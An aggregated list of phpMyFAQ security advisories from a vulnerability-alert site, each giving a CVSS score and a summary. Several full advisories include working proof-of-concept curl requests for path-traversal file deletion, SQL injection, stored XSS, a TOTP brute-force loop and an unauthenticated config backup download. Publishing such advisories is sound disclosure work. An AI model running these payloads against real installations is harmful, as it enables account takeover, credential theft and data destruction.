Where
-Infinity
0
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weak Password Requirements in GitHub repository thorsten/phpmyfaq prior to 3.1.8.

First published (updated )
Severity
9.8
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Cross-site Scripting (XSS) - Reflected in GitHub repository thorsten/phpmyfaq prior to 3.1.9.

First published (updated )
Severity
9.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

phpMyFAQ before v4.1.6 contains a remote code execution vulnerability in the configuration API that allows authenticated administrators with CONFIGURATIONEDIT and ATTACHMENTADD privileges to write arbitrary PHP files by manipulating the upgrade.lastDownloadedPackage setting. Attackers can upload a malicious ZIP file as an attachment, point the updater configuration to its stored path, and extract it into the application root to achieve code execution as the web server user.

First published (updated )
Severity
9.3
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.

First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

phpMyFAQ before 4.1.7 contains a brute-force vulnerability in the two-factor authentication step where the failure counter is session-scoped and reset on each successful password re-authentication. Attackers with a valid password can bypass the five-attempt limit by obtaining a fresh session cookie and repeatedly re-authenticating to reset the counter, enabling unbounded TOTP code guessing.

First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

phpMyFAQ before 4.1.7 fails to persist the WebAuthn login challenge generated by prepareForLogin, because neither WebAuthn controller saves the mutated key objects back to the database. At login the anti-replay comparison is skipped by its own null guard, allowing an attacker who captures a successful WebAuthn assertion to replay it indefinitely and authenticate as the user without any interaction or hardware key.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in the password reset endpoint that allows unauthenticated attackers to reset any user account password without token verification or email confirmation. Attackers can enumerate valid usernames, obtain plaintext passwords via email, and achieve complete account takeover including administrative access.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without token validation. Attackers can enumerate valid username and email pairs and force immediate password changes by sending PUT requests to the /api/index.php/user/password/update endpoint, causing account disruption and invalidating legitimate user credentials.

First published (updated )
Severity
8.8
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

phpMyFAQ versions 3.1.0 through 4.1.6 contain an authentication bypass vulnerability in AuthLdap::create(). When LDAP authentication is enabled, after a successful LDAP bind the code calls User::setStatus('active') unconditionally, which overwrites the accountstatus column of a pre-existing local account from 'blocked' to 'active'. As a result, a user whose local phpMyFAQ account has been administratively blocked can restore their account and log in by authenticating via LDAP. The state transition is not logged, so administrators cannot detect that the block was overridden. Fixed in 4.1.7.

First published (updated )
Severity
8.8
CSRF
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

In phpMyFAQ before 2.9.9, there is Cross-Site Request Forgery (CSRF) in admin/stat.adminlog.php.

First published (updated )
Severity
8.7
Path Traversal, CSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H

Summary The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTERSANITIZESPECIALCHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php

Lines 43-66: php #[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])] public function index(Request $request): JsonResponse|Response { $this->userHasPermission(PermissionType::FAQEDIT); // ... $data = jsondecode($request->getContent()); $action = Filter::filterVar($data->action, FILTERSANITIZESPECIALCHARS);

if ($action === 'fileRemove') { $file = Filter::filterVar($data->name, FILTERSANITIZESPECIALCHARS); $file = PMFCONTENTDIR . '/user/images/' . $file;

if (fileexists($file)) { unlink($file); } // Returns success without checking if deletion was within intended directory } }

Root Causes: 1. No path traversal prevention: FILTERSANITIZESPECIALCHARS does not remove or encode ../ sequences. It only encodes HTML special characters. 2. No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48. 3. No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory. 4. HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.

Comparison with secure implementation in the same codebase:

The ImageController::upload() method (same directory) properly validates file names: php if (pregmatch("/([^\w\s\d\-~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) { // Rejects files with path traversal sequences }

The FilesystemStorage::normalizePath() method also properly validates paths:

php foreach ($segments as $segment) { if ($segment === '..' || $segment === '') { throw new StorageException('Invalid storage path.'); } }

PoC

Direct exploitation (requires authenticated admin session): bash Delete the database configuration file curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=validadminsession' \ -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'

Delete the .htaccess file to disable Apache security rules curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=validadminsession' \ -d '{"action":"fileRemove","name":"../../../.htaccess"}'

CSRF exploitation (attacker hosts this HTML page): html <html> <body> <script> fetch('https://target.example.com/admin/api/media-browser', { method: 'GET', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ action: 'fileRemove', name: '../../../content/core/config/database.php' }), credentials: 'include' }); </script> </body> </html>

When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.

Impact

- Server compromise: Deleting content/core/config/database.php causes total application failure (database connection loss). - Security bypass: Deleting .htaccess or web.config can expose sensitive directories and files. - Data loss: Arbitrary file deletion on the server filesystem. - Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.

Remediation

1. Add path traversal validation: php if ($action === 'fileRemove') { $file = basename(Filter::filterVar($data->name, FILTERSANITIZESPECIALCHARS)); $targetPath = realpath(PMFCONTENTDIR . '/user/images/' . $file); $allowedDir = realpath(PMFCONTENTDIR . '/user/images');

if ($targetPath === false || !strstartswith($targetPath, $allowedDir . DIRECTORYSEPARATOR)) { return $this->json(['error' => 'Invalid file path'], Response::HTTPBADREQUEST); }

if (fileexists($targetPath)) { unlink($targetPath); } }

2. Add CSRF protection: php if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) { return $this->json(['error' => 'Invalid CSRF token'], Response::HTTPUNAUTHORIZED); }

3. Change HTTP method to POST or DELETE to align with proper HTTP semantics.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to enumerate restricted FAQ entries and read their titles via the /solutionid{id}.html endpoint. Attackers can sequentially iterate solution IDs to discover all FAQs including those restricted to specific users or groups, leaking sensitive metadata through redirect Location headers and page canonical links.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

phpMyFAQ before 4.1.3 contains an authentication bypass vulnerability in API v4.0 where the default empty api.apiClientToken allows unauthenticated users to create and modify FAQ entries. Attackers can send an empty x-pmf-token header to bypass token validation and inject malicious content via POST endpoints /api/v4.0/faq/create, /api/v4.0/category, and /api/v4.0/question.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any user's password without authorization verification. An attacker with low-privilege admin credentials can escalate to SuperAdmin by modifying the userId parameter in the overwrite-password API request.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ before 4.1.4 contains missing authorization vulnerabilities in editUser() and updateUserRights() endpoints that allow authenticated administrators to escalate privileges. Non-SuperAdmin users with edituser permission can set issuperadmin flag or grant arbitrary rights to escalate to SuperAdmin access.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in GroupController::updatePermissions that allows GROUPEDIT administrators to grant arbitrary rights to groups without verifying they hold those rights themselves. A delegated administrator can exploit this by assigning high-value permissions to a group they belong to, inheriting those rights and escalating privileges up to full administrative control.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ before 4.1.5 contains a privilege escalation vulnerability in the user/add API endpoint that allows non-SuperAdmin administrators to create SuperAdmin accounts. A delegated administrator with USERADD/EDIT/DELETE permissions can call POST /admin/api/user/add with isSuperAdmin: true and attacker-chosen credentials to create a SuperAdmin account, then authenticate as that account to achieve full instance takeover.

First published (updated )
Severity
8.7
Infoleak
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

phpMyFAQ before 4.1.7 stores password reset tokens in a publicly accessible tracking file when user tracking is enabled. Unauthenticated attackers can read the tracking file at content/core/data/trackingDDMMYYYY to extract reset tokens and replay them against the password reset API to take over user accounts.

First published (updated )
Severity
8.6
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

phpMyFAQ before 4.1.6 fails to validate path traversal sequences in the existingimage field during category updates, allowing authenticated attackers to delete arbitrary files by exploiting insufficient sanitization in Image::delete(). Attackers can delete the database.php configuration file to disable the installation gate and access the public setup wizard to create new superadmin accounts.

First published (updated )
Severity
8.6
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

phpMyFAQ before 4.1.7 contains a two-factor authentication bypass vulnerability where remember-me tokens are issued before 2FA verification completes. Attackers with valid credentials can obtain a remember-me cookie, skip the 2FA challenge, and replay the cookie to gain full authenticated access without second-factor verification.

First published (updated )
Severity
8.6
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

phpMyFAQ before 4.1.7 contains a SQL injection vulnerability in the glossary create and update endpoints caused by truncating an escaped string before embedding it in a SQL literal. Authenticated users with glossary add or edit permissions can craft a payload with a dangling backslash to escape the closing quote and inject arbitrary SQL commands to read sensitive database information.

First published (updated )
Severity
8.5
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

phpMyFAQ before 4.1.6 contains a privilege escalation vulnerability in GroupController::updateMembers() that allows administrators with only group-management permissions to join privileged groups without verification of required rights. Attackers can add themselves to pre-existing groups holding user-management rights and immediately inherit those permissions to modify or delete user accounts.

First published (updated )
Severity
8.5
SQL Injection, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The StopWords::add() method in phpMyFAQ builds a SQL INSERT statement using sprintf() and inserts the user-supplied stop word value directly into the query string without calling the application's database escaping function on it. A sibling method, StopWords::update(), which modifies an existing stop word, correctly escapes the same kind of input. The omission is isolated to the add() (insert) code path.

An authenticated administrator who can reach the stop-word management feature can submit a crafted value as the "word" parameter that breaks out of the SQL string literal and injects arbitrary SQL, including statements to drop tables, exfiltrate data, or modify other rows in the database.

---

Affected Code

File: phpmyfaq/src/phpMyFAQ/StopWords.php Method: add() (approx. lines 60–75 in the audited revision)

php $sql = sprintf( "INSERT INTO %s VALUES(%d, '%s', '%s')", $this->getTableName(), $id, $this->configuration->getDb()->escape($this->language), // language IS escaped $word // <-- $word is NOT escaped );

$word is taken directly from the administrative form input (the new stop word to add) and concatenated into the SQL string via sprintf("'%s'", ...) with no call to the database driver's escape() method.

Contrast with the safe sibling method

Method: update() (line 82 in the audited revision)

php $this->configuration->getDb()->escape($word)

update() — which modifies an existing stop word — correctly escapes $word before use. add() does not perform the same escaping on the equivalent value. This inconsistency between two methods handling the same data type is the root cause: the escaping convention used throughout the rest of the file was not applied uniformly to this one insertion path.

---

Proof of Concept

Precondition: Attacker has valid administrator credentials (or has otherwise obtained an authenticated administrator session, e.g. via a separate session-hijacking or CSRF vector).

Attack steps:

1. Authenticate to the phpMyFAQ administration panel. 2. Navigate to the Stop Words management feature. 3. Submit a new stop word with the following value instead of a normal word:

test', 'en'); DROP TABLE faqstopwords; --

4. The resulting SQL statement sent to the database becomes (table/column names approximate, based on the traced sprintf template):

sql INSERT INTO faqstopwords VALUES(1, 'en', 'test', 'en'); DROP TABLE faqstopwords; --')

5. The injected DROP TABLE faqstopwords; statement executes as a second SQL statement (subject to the database driver/PDO configuration permitting multi-statement execution; even where multi-statement execution is disabled, the same injection point allows classic single-statement SQLi techniques such as UNION-based data extraction or boolean/time-based blind injection against other tables the database user can access).

---

Impact

- Confidentiality: An attacker with this access can use UNION-based or blind SQL injection techniques to read data from other tables in the database (e.g. user credentials, FAQ content marked as private/internal, session data) that the database user account has permission to access. - Integrity: Arbitrary INSERT/UPDATE/DELETE statements can be appended, allowing modification of unrelated application data. - Availability: As demonstrated in the PoC, structural statements like DROP TABLE can be injected, directly impacting application availability.

Mitigating factor: Exploitation requires an authenticated administrator session. This is not exploitable by an anonymous or low-privilege user. This lowers the severity from Critical/High to Medium, consistent with phpMyFAQ's own threat model where administrators are a trusted role — but it remains a genuine defense-in-depth failure: a compromised or malicious admin account (or an admin tricked via a separate vector such as CSRF, if no CSRF protection exists on this specific form) can leverage this into full database compromise, which a properly parameterized query would have prevented even in that scenario.

---

Root Cause

The codebase's established pattern for this class (StopWords.php) is to escape all string values via $this->configuration->getDb()->escape($value) before placing them into a sprintf()-built SQL string. This pattern is correctly applied to:

- $this->language in add() - $word in update()

It is not applied to $word in add(). This is a single-line omission, not a structural design flaw — the safe pattern already exists in the same file and the same class, just inconsistently applied across the two methods that handle the same input type.

---

Recommended Fix

Apply the same escaping already used in update() and already used for $this->language in the same add() method:

php $sql = sprintf( "INSERT INTO %s VALUES(%d, '%s', '%s')", $this->getTableName(), $id, $this->configuration->getDb()->escape($this->language), $this->configuration->getDb()->escape($word) // FIX: escape $word here );

Stronger recommended fix (defense in depth): Migrate this query, and ideally all sprintf()-built SQL in this class, to parameterized/prepared statements (e.g. PDO::prepare() with bound parameters) rather than string-escaping plus sprintf(). Escaping is correct when applied consistently, but prepared statements remove this entire vulnerability class structurally and prevent any future omission of this kind from being exploitable.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in Utils::parseUrl() that allows authenticated users to inject JavaScript via malformed URLs in comments. Attackers can craft URLs with unescaped quotes to inject event handlers, stealing admin session cookies and achieving full application takeover when visitors view affected FAQ pages.

First published (updated )
Severity
8.2
XSS
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N

phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in search.twig where result.question and result.answerPreview are rendered with the raw filter, disabling autoescape protection. Attackers with FAQ editor privileges can inject HTML-entity-encoded payloads that bypass htmlentitydecode(striptags()) processing in SearchController.php, executing arbitrary JavaScript in every visitor's browser context including administrators.

First published (updated )
Severity
8.2
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Summary A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because htmlentitydecode() converts HTML entities into executable HTML after striptags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.

Details Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)

php $answer = Filter::filterVar($data->answer, FILTERSANITIZESPECIALCHARS); if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) { $answer = trim(htmlentitydecode((string) $answer)); }

Root cause:

Filter::filterVar() with FILTERSANITIZESPECIALCHARS internally calls filterSanitizeString() which applies striptags() to remove HTML tags. However, striptags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., &lt;script&gt;).

When enableWysiwygEditorFrontend is true, htmlentitydecode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.

Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)

twig <textarea id="editor" name="answer" class="form-control" rows="7" placeholder="{{ 'msgAnswer' | translate }}" {{ faqData['content'] | raw }}</textarea>

The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:

php $this->faq->getFaq($faqId, null, true); $faqData = $this->faq->faqRecord; // Raw content from DB

Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.

PoC Prerequisites: - main.enableWysiwygEditorFrontend = true (non-default, but commonly enabled for rich-text user FAQ contributions) - records.allowNewFaqsForGuests = true (DEFAULT value — guests can submit FAQs) - At least one FAQ category must exist

Step 1: Inject XSS payload as unauthenticated guest

bash curl -X POST https://TARGET/api/faq/create \ -H 'Content-Type: application/json' \ -d '{ "name": "Legitimate User", "email": "user@example.com", "question": "How to configure SMTP settings?", "answer": "&lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt;", "lang": "en", "keywords": "smtp email", "rubrik": ["1"], "captcha": "<valid-captcha-or-empty-if-disabled>" }'

Response: {"success":"Thank you for your suggestion!"}

Processing trace: 1. Input answer: &lt;/textarea&gt;&lt;img src=x onerror=alert(document.domain)&gt;&lt;textarea&gt; 2. filterSanitizeString() → striptags() finds no actual <tag> syntax → string passes through unchanged 3. htmlentitydecode() converts entities → </textarea><img src=x onerror=alert(document.domain)><textarea> 4. Stored in database as raw executable HTML

Step 2: Admin triggers XSS by reviewing the submitted FAQ

When an administrator navigates to edit the submitted FAQ entry: GET /admin/faq/edit/{faqId}/{lang}

The admin template renders: html <textarea id="editor" name="answer" class="form-control" rows="7" placeholder="Answer" </textarea><img src=x onerror=alert(document.domain)><textarea></textarea>

The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.

<img width="1387" height="562" alt="admin stored xss alert poc" src="https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a" /> <img width="1393" height="805" alt="admin stored xss poc" src="https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333" />

Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).

Impact - Stored XSS targeting administrators — every FAQ submission is reviewed by an admin, guaranteeing payload delivery - Admin account takeover — attacker can steal session cookies, create new admin accounts, or modify system configuration - No special privileges required — default configuration allows guest FAQ submissions (records.allowNewFaqsForGuests = true) - Public view is unaffected — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.

Details src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:

php #[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }

$token = Filter::filterVar($request->request->get('token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTERVALIDATEINT);

if ($userId <= 0) { / ... / }

$this->currentUserService->getUserById($userId); // loads attacker-chosen user

if (strlen((string) $token) === 6) { $result = $this->twoFactor->validateToken($token, $userId); if ($result) { $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked return new RedirectResponse(url: './'); } } // ... }

twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):

php public function twoFactorSuccess(): bool { $this->setLoggedIn(true); $this->updateSessionId(true); $this->saveToSession(); $this->setSuccess(true); return true; }

There is no server-side state (such as a "password already verified for this user" flag) tying the /check step to the password step. Compare the admin flow, which does it correctly via a 2fapendinguserid session value set only after the password is validated (src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend omission is a regression, not an intended design.

validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret, so this is not a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account:

php public function validateToken(string $token, int $userId): bool { if (strlen($token) !== 6 || $userId <= 0) { return false; } $this->currentUser->getUserById($userId); $secret = $this->currentUser->getUserData('secret'); if (!isstring($secret) || $secret === '') { return false; } // no 2FA -> false return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only }

Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to strengthen the password, becomes the only barrier and is independently guessable.

PoC Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs).

bash No password required. Submit user-id + a 6-digit TOTP guess to /check. Iterate the token space; the session cookie returned on success is an authenticated session. for code in $(seq -w 0 999999); do curl -ks -c jar.txt -b jar.txt \ -X POST "https://target/check" \ --data-urlencode "user-id=1" \ --data-urlencode "token=$(printf '%06d' 10#$code)" \ -o /dev/null -w "%{httpcode} %{redirecturl}\n" \ | grep -q './' && echo "[+] logged in with token $code" && break done A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used). If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.

Impact Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
SQL Injection
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

phpMyFAQ before 4.1.2 contains a sql injection vulnerability in CurrentUser::setTokenData that allows authenticated attackers to execute arbitrary SQL by injecting malicious OAuth token claims. Attackers with Azure AD accounts containing SQL metacharacters in display names or JWT claims can break out of string literals and execute arbitrary database queries.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.

Details The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.

Relevant code paths: - Rewrite rule exposing the endpoint: - phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA] - Controller implementation: - phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php → backup() - No call to hasValidToken(), userIsAuthenticated(), or any permission check - Backup creation: - phpmyfaq/src/phpMyFAQ/Setup/Update.php → createConfigBackup() - Writes the ZIP into the config directory and returns a public URL under content/core/config/

PoC Replace BASEURL with your instance URL.

1) Trigger config backup generation without authentication:

bash BASEURL="http://localhost" curl -i -X POST "${BASEURL}/api/setup/backup" \ -H "Content-Type: text/plain" \ --data "4.1.0-RC"

Expected result: 200 OK with JSON containing backupFile.

2) Copy the backupFile URL from the JSON response and download it (still without authentication):

bash Example (replace with the exact URL returned in step 1) curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip

3) Verify sensitive content exists in the ZIP:

bash unzip -l phpmyfaq-config-backup.zip unzip -p phpmyfaq-config-backup.zip database.php

Observed: database.php is included and contains DB host/user/password.

Impact - Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure. - Who is impacted: Any internet-exposed phpMyFAQ installation where the default .htaccess rewrite rules are active and the endpoint is reachable. - Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203